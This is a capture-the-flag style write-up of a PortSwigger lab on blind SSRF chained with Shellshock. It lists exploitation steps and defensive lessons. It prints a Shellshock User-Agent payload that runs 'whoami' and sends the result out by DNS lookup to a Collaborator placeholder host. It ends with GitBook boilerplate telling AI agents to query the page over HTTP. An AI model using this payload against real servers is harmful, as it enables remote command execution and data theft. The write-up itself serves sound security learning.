> For the complete documentation index, see [llms.txt](https://ganesha-hk.gitbook.io/cybersecurity-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ganesha-hk.gitbook.io/cybersecurity-writeups/port-swigger-ssrf-lab/lab-7.md).

# lab-7

## Blind SSRF with Shellshock Exploitation

**Difficulty:** Expert

### Lab Description

This site uses analytics software which fetches the URL specified in the `Referer` header when a product page is loaded.

**Objective:** Use this functionality to perform a blind SSRF attack against an internal server in the `192.168.0.X` range on port 8080. Use a Shellshock payload against the internal server to exfiltrate the name of the OS user.

### Root Cause

The application unsafely fetches user-controlled URLs from the `Referer` header, creating a blind SSRF vulnerability. Additionally, an internal server running on the private network is vulnerable to Shellshock — a bash vulnerability that allows commands embedded in HTTP headers (such as `User-Agent`) to be executed on the server. The combination of these two flaws enables remote command execution on an internal system that is otherwise unreachable from the outside.

### Exploitation

1. Identify that the analytics functionality performs a server-side request to the URL supplied in the `Referer` header.
2. Confirm the blind SSRF by supplying a Burp Collaborator URL in the `Referer` header and observing an out-of-band interaction.
3. Probe the `192.168.0.X:8080` range via the `Referer` header to identify which internal host is running a vulnerable service. Use Intruder to iterate through the IP range and monitor Collaborator for interactions.
4. Place a Shellshock payload in the `User-Agent` header so it is forwarded to the internal server during the SSRF request:

   ```
   User-Agent: () { :; }; /usr/bin/nslookup $(whoami).YOUR-COLLABORATOR-ID.oastify.com
   ```
5. The vulnerable CGI service on the internal server processes the `User-Agent` header and executes the injected command.
6. The `whoami` output is exfiltrated via a DNS lookup to Burp Collaborator — check the **Collaborator** tab for the DNS interaction containing the OS username.
7. Submit the username to complete the lab.

### Lesson Learned

* Never make server-side requests using untrusted input such as HTTP headers (`Referer`, `Host`, etc.).
* Restrict server-side outbound requests with strict allowlists and block access to internal networks unless explicitly required.
* Keep all internal services patched — known vulnerabilities such as Shellshock can be triggered remotely if an SSRF path exists.
* Sanitise or avoid forwarding untrusted client headers to back-end systems.
* Restrict outbound network access and monitor for unexpected DNS or HTTP requests, which can reveal blind SSRF exploitation attempts.
* Treat internal systems as potentially reachable by attackers if SSRF exists — network isolation alone is not sufficient protection when the application itself bridges the boundary.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ganesha-hk.gitbook.io/cybersecurity-writeups/port-swigger-ssrf-lab/lab-7.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.